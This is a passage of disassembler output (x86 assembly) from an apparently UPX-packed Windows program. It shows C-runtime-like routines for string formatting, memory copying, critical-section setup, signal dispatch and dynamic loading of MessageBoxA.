		jnz	short loc_41307C
		or	[ebp+var_408], 100h
		inc	esi
		mov	[ebp+var_410], esi


loc_41307C:				; CODE XREF: sub_4128E7+782j
		push	esi
		jmp	loc_412E8A
; ---------------------------------------------------------------------------


loc_413082:				; CODE XREF: sub_4128E7+5B7j
		mov	[ebp+var_40C], esi


loc_413088:				; CODE XREF: sub_4128E7+4ABj
		mov	[ebp+var_454], 7
		jmp	short loc_4130B8
; ---------------------------------------------------------------------------


loc_413094:				; CODE XREF: sub_4128E7+5B1j
		sub	eax, 73h
		jz	loc_412D07
		sub	eax, edx
		jz	loc_412F2F
		sub	eax, 3
		jnz	loc_413277
		mov	[ebp+var_454], 27h


loc_4130B8:				; CODE XREF: sub_4128E7+7ABj
		test	byte ptr [ebp+var_408],	80h
		mov	[ebp+var_41C], 10h
		jz	loc_412F39
		push	30h
		pop	eax
		mov	[ebp+var_430], ax
		mov	eax, [ebp+var_454]
		add	eax, 51h
		mov	[ebp+var_42E], ax
		mov	[ebp+var_424], edx
		jmp	loc_412F39
; ---------------------------------------------------------------------------


loc_4130F4:				; CODE XREF: sub_4128E7+65Cj
		test	[ebp+var_408], 1000h
		jnz	loc_412F49
		add	ebx, 4
		test	byte ptr [ebp+var_408],	20h
		jz	short loc_41312C
		test	byte ptr [ebp+var_408],	40h
		mov	[ebp+var_418], ebx
		jz	short loc_413125
		movsx	eax, word ptr [ebx-4]
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_413125:				; CODE XREF: sub_4128E7+836j
		movzx	eax, word ptr [ebx-4]


loc_413129:				; CODE XREF: sub_4128E7+83Cj
		cdq
		jmp	short loc_413143
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_4128E7+827j
		test	byte ptr [ebp+var_408],	40h
		mov	eax, [ebx-4]
		jz	short loc_41313B
		cdq
		jmp	short loc_41313D
; ---------------------------------------------------------------------------


loc_41313B:				; CODE XREF: sub_4128E7+84Fj
		xor	edx, edx


loc_41313D:				; CODE XREF: sub_4128E7+66Aj
					; sub_4128E7+852j
		mov	[ebp+var_418], ebx


loc_413143:				; CODE XREF: sub_4128E7+843j
		test	byte ptr [ebp+var_408],	40h
		jz	short loc_413167
		test	edx, edx
		jg	short loc_413167
		jl	short loc_413156
		test	eax, eax
		jnb	short loc_413167


loc_413156:				; CODE XREF: sub_4128E7+869j
		neg	eax
		adc	edx, 0
		neg	edx
		or	[ebp+var_408], 100h


loc_413167:				; CODE XREF: sub_4128E7+863j
					; sub_4128E7+867j ...
		test	[ebp+var_408], 9000h
		mov	ebx, edx
		mov	edi, eax
		jnz	short loc_413179
		xor	ebx, ebx


loc_413179:				; CODE XREF: sub_4128E7+88Ej
		cmp	[ebp+var_40C], 0
		jge	short loc_41318E
		mov	[ebp+var_40C], 1
		jmp	short loc_4131A8
; ---------------------------------------------------------------------------


loc_41318E:				; CODE XREF: sub_4128E7+899j
		and	[ebp+var_408], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+var_40C], eax
		jle	short loc_4131A8
		mov	[ebp+var_40C], eax


loc_4131A8:				; CODE XREF: sub_4128E7+8A5j
					; sub_4128E7+8B9j
		mov	eax, edi
		or	eax, ebx
		jnz	short loc_4131B4
		and	[ebp+var_424], eax


loc_4131B4:				; CODE XREF: sub_4128E7+8C5j
		lea	esi, [ebp+var_205]


loc_4131BA:				; CODE XREF: sub_4128E7+914j
		mov	eax, [ebp+var_40C]
		dec	[ebp+var_40C]
		test	eax, eax
		jg	short loc_4131D0
		mov	eax, edi
		or	eax, ebx
		jz	short loc_4131FD


loc_4131D0:				; CODE XREF: sub_4128E7+8E1j
		mov	eax, [ebp+var_41C]
		cdq
		push	edx
		push	eax
		push	ebx
		push	edi
		call	sub_40F060
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+var_470], ebx
		mov	edi, eax
		mov	ebx, edx
		jle	short loc_4131F8
		add	ecx, [ebp+var_454]


loc_4131F8:				; CODE XREF: sub_4128E7+909j
		mov	[esi], cl
		dec	esi
		jmp	short loc_4131BA
; ---------------------------------------------------------------------------


loc_4131FD:				; CODE XREF: sub_4128E7+8E7j
		lea	eax, [ebp+var_205]
		sub	eax, esi
		inc	esi
		test	[ebp+var_408], 200h
		mov	[ebp+var_414], eax
		mov	[ebp+var_410], esi
		jz	short loc_413277
		test	eax, eax
		jz	short loc_413229
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jz	short loc_413277


loc_413229:				; CODE XREF: sub_4128E7+939j
		dec	[ebp+var_410]
		mov	ecx, [ebp+var_410]
		mov	byte ptr [ecx],	30h
		inc	eax
		jmp	short loc_413271
; ---------------------------------------------------------------------------


loc_41323B:				; CODE XREF: sub_4128E7+449j
		test	ebx, ebx
		jnz	short loc_41324A
		mov	eax, off_42ACEC
		mov	[ebp+var_410], eax


loc_41324A:				; CODE XREF: sub_4128E7+956j
		mov	eax, [ebp+var_410]
		mov	[ebp+var_428], 1
		jmp	short loc_413265
; ---------------------------------------------------------------------------


loc_41325C:				; CODE XREF: sub_4128E7+980j
		dec	edi
		cmp	word ptr [eax],	0
		jz	short loc_413269
		add	eax, edx


loc_413265:				; CODE XREF: sub_4128E7+973j
		test	edi, edi
		jnz	short loc_41325C


loc_413269:				; CODE XREF: sub_4128E7+97Aj
		sub	eax, [ebp+var_410]


loc_41326F:				; CODE XREF: sub_4128E7+586j
		sar	eax, 1


loc_413271:				; CODE XREF: sub_4128E7+592j
					; sub_4128E7+5A9j ...
		mov	[ebp+var_414], eax


loc_413277:				; CODE XREF: sub_4128E7+39Ej
					; sub_4128E7+46Dj ...
		cmp	[ebp+var_450], 0
		jnz	loc_4133E9
		mov	eax, [ebp+var_408]
		test	al, 40h
		jz	short loc_4132B9
		test	eax, 100h
		jz	short loc_413299
		push	2Dh
		jmp	short loc_4132A7
; ---------------------------------------------------------------------------


loc_413299:				; CODE XREF: sub_4128E7+9ACj
		test	al, 1
		jz	short loc_4132A1
		push	2Bh
		jmp	short loc_4132A7
; ---------------------------------------------------------------------------


loc_4132A1:				; CODE XREF: sub_4128E7+9B4j
		test	al, 2
		jz	short loc_4132B9
		push	20h


loc_4132A7:				; CODE XREF: sub_4128E7+9B0j
					; sub_4128E7+9B8j
		pop	eax
		mov	[ebp+var_430], ax
		mov	[ebp+var_424], 1


loc_4132B9:				; CODE XREF: sub_4128E7+9A5j
					; sub_4128E7+9BCj
		mov	ebx, [ebp+var_42C]
		mov	esi, [ebp+var_414]
		sub	ebx, esi
		sub	ebx, [ebp+var_424]
		test	byte ptr [ebp+var_408],	0Ch
		jnz	short loc_4132ED
		push	[ebp+var_43C]
		lea	eax, [ebp+var_420]
		push	ebx
		push	20h
		call	sub_41286E
		add	esp, 0Ch


loc_4132ED:				; CODE XREF: sub_4128E7+9EDj
		push	[ebp+var_424]
		mov	edi, [ebp+var_43C]
		lea	eax, [ebp+var_420]
		lea	ecx, [ebp+var_430]
		call	sub_412895
		test	byte ptr [ebp+var_408],	8
		pop	ecx
		jz	short loc_41332F
		test	byte ptr [ebp+var_408],	4
		jnz	short loc_41332F
		push	edi
		push	ebx
		push	30h
		lea	eax, [ebp+var_420]
		call	sub_41286E
		add	esp, 0Ch


loc_41332F:				; CODE XREF: sub_4128E7+A2Bj
					; sub_4128E7+A34j
		cmp	[ebp+var_428], 0
		jnz	short loc_4133AD
		test	esi, esi
		jle	short loc_4133AD
		mov	edi, [ebp+var_410]
		mov	[ebp+var_41C], esi


loc_413348:				; CODE XREF: sub_4128E7+AB9j
		dec	[ebp+var_41C]
		lea	eax, [ebp+var_44C]
		push	eax
		mov	eax, [ebp+var_44C]
		push	dword ptr [eax+0ACh]
		lea	eax, [ebp+var_464]
		push	edi
		push	eax
		call	sub_4126C3
		add	esp, 10h
		mov	[ebp+var_470], eax
		test	eax, eax
		jle	short loc_4133A4
		push	[ebp+var_464]
		mov	eax, [ebp+var_43C]
		lea	esi, [ebp+var_420]
		call	sub_41283F
		add	edi, [ebp+var_470]
		cmp	[ebp+var_41C], 0
		pop	ecx
		jg	short loc_413348
		jmp	short loc_4133C0
; ---------------------------------------------------------------------------


loc_4133A4:				; CODE XREF: sub_4128E7+A92j
		or	[ebp+var_420], 0FFFFFFFFh
		jmp	short loc_4133C0
; ---------------------------------------------------------------------------


loc_4133AD:				; CODE XREF: sub_4128E7+A4Fj
					; sub_4128E7+A53j
		mov	ecx, [ebp+var_410]
		push	esi
		lea	eax, [ebp+var_420]
		call	sub_412895
		pop	ecx


loc_4133C0:				; CODE XREF: sub_4128E7+ABBj
					; sub_4128E7+AC4j
		cmp	[ebp+var_420], 0
		jl	short loc_4133E9
		test	byte ptr [ebp+var_408],	4
		jz	short loc_4133E9
		push	[ebp+var_43C]
		lea	eax, [ebp+var_420]
		push	ebx
		push	20h
		call	sub_41286E
		add	esp, 0Ch


loc_4133E9:				; CODE XREF: sub_4128E7+63Cj
					; sub_4128E7+997j ...
		cmp	[ebp+var_458], 0
		jz	short loc_413405 ; default
		push	[ebp+var_458]
		call	sub_40ADC8
		and	[ebp+var_458], 0
		pop	ecx


loc_413405:				; CODE XREF: sub_4128E7+13Bj
					; sub_4128E7+192j ...
		mov	edi, [ebp+var_460] ; default
		mov	ebx, [ebp+var_418]


loc_413411:				; CODE XREF: sub_4128E7+175j
					; sub_4128E7+19Ej ...
		movzx	eax, word ptr [edi]
		xor	esi, esi
		mov	[ebp+var_41C], eax
		cmp	ax, si
		jz	short loc_413428
		mov	ecx, eax
		jmp	loc_4129C9
; ---------------------------------------------------------------------------


loc_413428:				; CODE XREF: sub_4128E7+F3j
					; sub_4128E7+B38j
		cmp	[ebp+var_434], esi
		jz	short loc_41343D
		cmp	[ebp+var_434], 7
		jnz	loc_41298D


loc_41343D:				; CODE XREF: sub_4128E7+DCj
					; sub_4128E7+B47j
		cmp	[ebp+var_440], 0
		jz	short loc_413450
		mov	eax, [ebp+var_444]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_413450:				; CODE XREF: sub_4128E7+B5Dj
		mov	eax, [ebp+var_420]


loc_413456:				; CODE XREF: sub_4128E7+9Bj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_4128E7	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_413467	dd offset loc_412C37	; DATA XREF: sub_4128E7+141r
		dd offset loc_412A2F	; jump table for switch	statement
		dd offset loc_412A61
		dd offset loc_412ABC
		dd offset loc_412B08
		dd offset loc_412B14
		dd offset loc_412B5A
		dd offset loc_412C59

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413487	proc near		; CODE XREF: sub_41350E+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], esi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 7
		jmp	short loc_4134A7
; ---------------------------------------------------------------------------
		db 8Dh,	9Bh, 4 dup(0)
; ---------------------------------------------------------------------------


loc_4134A7:				; CODE XREF: sub_413487+18j
					; sub_413487+7Bj
		movdqa	xmm0, oword ptr	[esi]
		movdqa	xmm1, oword ptr	[esi+10h]
		movdqa	xmm2, oword ptr	[esi+20h]
		movdqa	xmm3, oword ptr	[esi+30h]
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm1
		movdqa	oword ptr [edi+20h], xmm2
		movdqa	oword ptr [edi+30h], xmm3
		movdqa	xmm4, oword ptr	[esi+40h]
		movdqa	xmm5, oword ptr	[esi+50h]
		movdqa	xmm6, oword ptr	[esi+60h]
		movdqa	xmm7, oword ptr	[esi+70h]
		movdqa	oword ptr [edi+40h], xmm4
		movdqa	oword ptr [edi+50h], xmm5
		movdqa	oword ptr [edi+60h], xmm6
		movdqa	oword ptr [edi+70h], xmm7
		lea	esi, [esi+80h]
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_4134A7
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_413487	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41350E	proc near		; CODE XREF: sub_40CA30+42j
					; sub_40E710+42j ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cdq
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		xor	ecx, edx
		sub	ecx, edx
		and	ecx, 0Fh
		xor	ecx, edx
		sub	ecx, edx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		mov	edx, ecx
		or	edx, edi
		jnz	short loc_413591
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		and	ecx, 7Fh
		mov	[ebp+var_18], ecx
		cmp	esi, ecx
		jz	short loc_413569
		sub	esi, ecx
		push	esi
		push	ebx
		push	eax
		call	sub_413487
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]


loc_413569:				; CODE XREF: sub_41350E+46j
		test	ecx, ecx
		jz	short loc_4135E4
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		sub	edx, ecx
		mov	[ebp+var_14], edx
		add	ebx, eax
		sub	ebx, ecx
		mov	[ebp+var_10], ebx
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		rep movsb
		mov	eax, [ebp+arg_0]
		jmp	short loc_4135E4
; ---------------------------------------------------------------------------


loc_413591:				; CODE XREF: sub_41350E+37j
		cmp	ecx, edi
		jnz	short loc_4135CA
		neg	ecx
		add	ecx, 10h
		mov	[ebp+var_1C], ecx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		rep movsb
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_1C]
		push	eax
		push	edx
		push	ecx
		call	sub_41350E
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		jmp	short loc_4135E4
; ---------------------------------------------------------------------------


loc_4135CA:				; CODE XREF: sub_41350E+85j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_0]


loc_4135E4:				; CODE XREF: sub_41350E+5Dj
					; sub_41350E+81j ...
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_41350E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135F1	proc near		; CODE XREF: sub_40DD8A+11p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_42ED44, eax
		pop	ebp
		retn
sub_4135F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413600	proc near		; CODE XREF: sub_40CE2D+28p
					; sub_40CEE6+78p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	10h
		push	offset dword_426C50
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D12C	; InitializeCriticalSectionAndSpinCount
		mov	[ebp+var_1C], eax
		jmp	short loc_413650
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_20], 0C0000017h
		jnz	short loc_41364C
		push	8
		call	dword_41D1D0	; RtlSetLastWin32Error


loc_41364C:				; CODE XREF: sub_413600+42j
		and	[ebp+var_1C], 0


loc_413650:				; CODE XREF: sub_413600+1Fj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_413600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413660	proc near		; CODE XREF: sub_40DD8A+29p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_42ED48, eax
		mov	dword_42ED4C, eax
		mov	dword_42ED50, eax
		mov	dword_42ED54, eax
		pop	ebp
		retn
sub_413660	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41367E	proc near		; CODE XREF: sub_4136C2+5Ap

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_42A3DC
		push	esi


loc_41368D:				; CODE XREF: sub_41367E+21j
		cmp	[eax+4], edx
		jz	short loc_4136A1
		mov	esi, ecx
		imul	esi, 0Ch
		add	esi, [ebp+arg_0]
		add	eax, 0Ch
		cmp	eax, esi
		jb	short loc_41368D


loc_4136A1:				; CODE XREF: sub_41367E+12j
		imul	ecx, 0Ch
		add	ecx, [ebp+arg_0]
		pop	esi
		cmp	eax, ecx
		jnb	short loc_4136B1
		cmp	[eax+4], edx
		jz	short loc_4136B3


loc_4136B1:				; CODE XREF: sub_41367E+2Cj
		xor	eax, eax


loc_4136B3:				; CODE XREF: sub_41367E+31j
		pop	ebp
		retn
sub_41367E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136B5	proc near		; CODE XREF: sub_413B6D:loc_413B94p
		push	dword_42ED50
		call	sub_40E143
		pop	ecx
		retn
sub_4136B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C2	proc near		; CODE XREF: sub_413B6D+32p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041386C SIZE 00000006 BYTES

		push	20h
		push	offset dword_426C70
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0Bh
		jg	short loc_41372A
		jz	short loc_4136F5
		mov	eax, ebx
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_41370B
		sub	eax, ecx
		jz	short loc_4136F5
		sub	eax, ecx
		jz	short loc_413755
		sub	eax, ecx
		jnz	short loc_413739


loc_4136F5:				; CODE XREF: sub_4136C2+1Cj
					; sub_4136C2+29j
		call	sub_40E316
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jnz	short loc_413717


loc_413703:				; CODE XREF: sub_4136C2+91j
		or	eax, 0FFFFFFFFh
		jmp	loc_41386C
; ---------------------------------------------------------------------------


loc_41370B:				; CODE XREF: sub_4136C2+25j
		mov	esi, offset dword_42ED48
		mov	eax, dword_42ED48
		jmp	short loc_413777
; ---------------------------------------------------------------------------


loc_413717:				; CODE XREF: sub_4136C2+3Fj
		push	dword ptr [edi+5Ch]
		mov	edx, ebx
		call	sub_41367E
		mov	esi, eax
		add	esi, 8
		mov	eax, [esi]
		jmp	short loc_413784
; ---------------------------------------------------------------------------


loc_41372A:				; CODE XREF: sub_4136C2+1Aj
		mov	eax, ebx
		sub	eax, 0Fh
		jz	short loc_41376D
		sub	eax, 6
		jz	short loc_413761
		dec	eax
		jz	short loc_413755


loc_413739:				; CODE XREF: sub_4136C2+31j
		call	sub_40C862
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_413703
; ---------------------------------------------------------------------------


loc_413755:				; CODE XREF: sub_4136C2+2Dj
					; sub_4136C2+75j
		mov	esi, offset dword_42ED50
		mov	eax, dword_42ED50
		jmp	short loc_413777
; ---------------------------------------------------------------------------


loc_413761:				; CODE XREF: sub_4136C2+72j
		mov	esi, offset dword_42ED4C
		mov	eax, dword_42ED4C
		jmp	short loc_413777
; ---------------------------------------------------------------------------


loc_41376D:				; CODE XREF: sub_4136C2+6Dj
		mov	esi, offset dword_42ED54
		mov	eax, dword_42ED54


loc_413777:				; CODE XREF: sub_4136C2+53j
					; sub_4136C2+9Dj ...
		mov	[ebp+var_1C], 1
		push	eax
		call	sub_40E143


loc_413784:				; CODE XREF: sub_4136C2+66j
		mov	[ebp+var_20], eax
		pop	ecx
		xor	eax, eax
		cmp	[ebp+var_20], 1
		jz	loc_41386C
		cmp	[ebp+var_20], eax
		jnz	short loc_4137A0
		push	3
		call	sub_40DD56


loc_4137A0:				; CODE XREF: sub_4136C2+D5j
		cmp	[ebp+var_1C], eax
		jz	short loc_4137AC
		push	eax
		call	sub_40CFA9
		pop	ecx


loc_4137AC:				; CODE XREF: sub_4136C2+E1j
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ebx, 8
		jz	short loc_4137C0
		cmp	ebx, 0Bh
		jz	short loc_4137C0
		cmp	ebx, 4
		jnz	short loc_4137DB


loc_4137C0:				; CODE XREF: sub_4136C2+F2j
					; sub_4136C2+F7j
		mov	ecx, [edi+60h]
		mov	[ebp+var_2C], ecx
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_41380E
		mov	ecx, [edi+64h]
		mov	[ebp+var_30], ecx
		mov	dword ptr [edi+64h], 8Ch


loc_4137DB:				; CODE XREF: sub_4136C2+FCj
		cmp	ebx, 8
		jnz	short loc_41380E
		mov	ecx, dword_42A3D0
		mov	[ebp+var_24], ecx


loc_4137E9:				; CODE XREF: sub_4136C2+14Aj
		mov	ecx, dword_42A3D4
		mov	edx, dword_42A3D0
		add	ecx, edx
		cmp	[ebp+var_24], ecx
		jge	short loc_413815
		mov	ecx, [ebp+var_24]
		imul	ecx, 0Ch
		mov	edx, [edi+5Ch]
		mov	[ecx+edx+8], eax
		inc	[ebp+var_24]
		jmp	short loc_4137E9
; ---------------------------------------------------------------------------


loc_41380E:				; CODE XREF: sub_4136C2+10Aj
					; sub_4136C2+11Cj
		call	sub_40E13A
		mov	[esi], eax


loc_413815:				; CODE XREF: sub_4136C2+138j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_413836
		cmp	ebx, 8
		jnz	short sub_413845
		push	dword ptr [edi+64h]
		push	ebx
		call	[ebp+var_20]
		pop	ecx
		jmp	short loc_413849
sub_4136C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413830	proc near		; DATA XREF: UPX0:00426C88o
		mov	ebx, [ebp+8]
		mov	edi, [ebp-28h]
sub_413830	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413836	proc near		; CODE XREF: sub_4136C2+15Ap
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_413844
		push	0
		call	sub_40CECF
		pop	ecx

locret_413844:				; CODE XREF: sub_413836+4j
		retn
sub_413836	endp


; =============== S U B	R O U T	I N E =======================================



sub_413845	proc near		; CODE XREF: sub_4136C2+162j
		push	ebx
		call	dword ptr [ebp-20h]


loc_413849:				; CODE XREF: sub_4136C2+16Cj
		pop	ecx
		cmp	ebx, 8
		jz	short loc_413859
		cmp	ebx, 0Bh
		jz	short loc_413859
		cmp	ebx, 4
		jnz	short loc_41386A


loc_413859:				; CODE XREF: sub_413845+8j
					; sub_413845+Dj
		mov	eax, [ebp-2Ch]
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_41386A
		mov	eax, [ebp-30h]
		mov	[edi+64h], eax


loc_41386A:				; CODE XREF: sub_413845+12j
					; sub_413845+1Dj
		xor	eax, eax
sub_413845	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4136C2


loc_41386C:				; CODE XREF: sub_4136C2+44j
					; sub_4136C2+CCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4136C2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413872	proc near		; CODE XREF: sub_40DD8A+23p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_42ED5C, eax
		pop	ebp
		retn
sub_413872	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413881	proc near		; CODE XREF: sub_40DD8A+1Dp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_42ED68, eax
		pop	ebp
		retn
sub_413881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413890	proc near		; CODE XREF: sub_40DDD8+16Ap

var_24		= dword	ptr -24h
var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		call	sub_40E13A
		and	[ebp+var_4], 0
		cmp	dword_42ED6C, 0
		mov	ebx, eax
		jnz	loc_413941
		push	offset aUser32_dll ; "USER32.DLL"
		call	dword_41D0DC	; LoadLibraryA
		mov	edi, eax
		test	edi, edi
		jz	loc_4139F2
		mov	esi, dword_41D0D8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_41D0D8
		test	eax, eax
		jz	loc_4139F2
		push	eax
		call	sub_40E0C8
		mov	[esp+24h+var_24], offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		mov	dword_42ED6C, eax
		call	esi ; dword_41D0D8
		push	eax
		call	sub_40E0C8
		mov	[esp+24h+var_24], offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_42ED70, eax
		call	esi ; dword_41D0D8
		push	eax
		call	sub_40E0C8
		mov	[esp+24h+var_24], offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		mov	dword_42ED74, eax
		call	esi ; dword_41D0D8
		push	eax
		call	sub_40E0C8
		pop	ecx
		mov	dword_42ED7C, eax
		test	eax, eax
		jz	short loc_413941
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi ; dword_41D0D8
		push	eax
		call	sub_40E0C8
		pop	ecx
		mov	dword_42ED78, eax


loc_413941:				; CODE XREF: sub_413890+1Dj
					; sub_413890+9Bj
		mov	eax, dword_42ED78
		cmp	eax, ebx
		jz	short loc_413999
		cmp	dword_42ED7C, ebx
		jz	short loc_413999
		push	eax
		call	sub_40E143
		push	dword_42ED7C
		mov	esi, eax
		call	sub_40E143
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	esi, esi
		jz	short loc_413999
		test	edi, edi
		jz	short loc_413999
		call	esi	; GetProcAddress
		test	eax, eax
		jz	short loc_413990
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_14]
		push	ecx
		push	1
		push	eax
		call	edi	; InterlockedIncrement
		test	eax, eax
		jz	short loc_413990
		test	[ebp+var_C], 1
		jnz	short loc_413999


loc_413990:				; CODE XREF: sub_413890+E5j
					; sub_413890+F8j
		or	[ebp+arg_8], 200000h
		jmp	short loc_4139D2
; ---------------------------------------------------------------------------


loc_413999:				; CODE XREF: sub_413890+B8j
					; sub_413890+C0j ...
		mov	eax, dword_42ED70
		cmp	eax, ebx
		jz	short loc_4139D2
		push	eax
		call	sub_40E143
		pop	ecx
		test	eax, eax
		jz	short loc_4139D2
		call	eax ; dword_42ED70
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_4139D2
		mov	eax, dword_42ED74
		cmp	eax, ebx
		jz	short loc_4139D2
		push	eax
		call	sub_40E143
		pop	ecx
		test	eax, eax
		jz	short loc_4139D2
		push	[ebp+var_4]
		call	eax ; dword_42ED74
		mov	[ebp+var_4], eax


loc_4139D2:				; CODE XREF: sub_413890+107j
					; sub_413890+110j ...
		push	dword_42ED6C
		call	sub_40E143
		pop	ecx
		test	eax, eax
		jz	short loc_4139F2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	eax ; dword_42ED78
		jmp	short loc_4139F4
; ---------------------------------------------------------------------------


loc_4139F2:				; CODE XREF: sub_413890+32j
					; sub_413890+48j ...
		xor	eax, eax


loc_4139F4:				; CODE XREF: sub_413890+160j
		pop	edi
		pop	esi
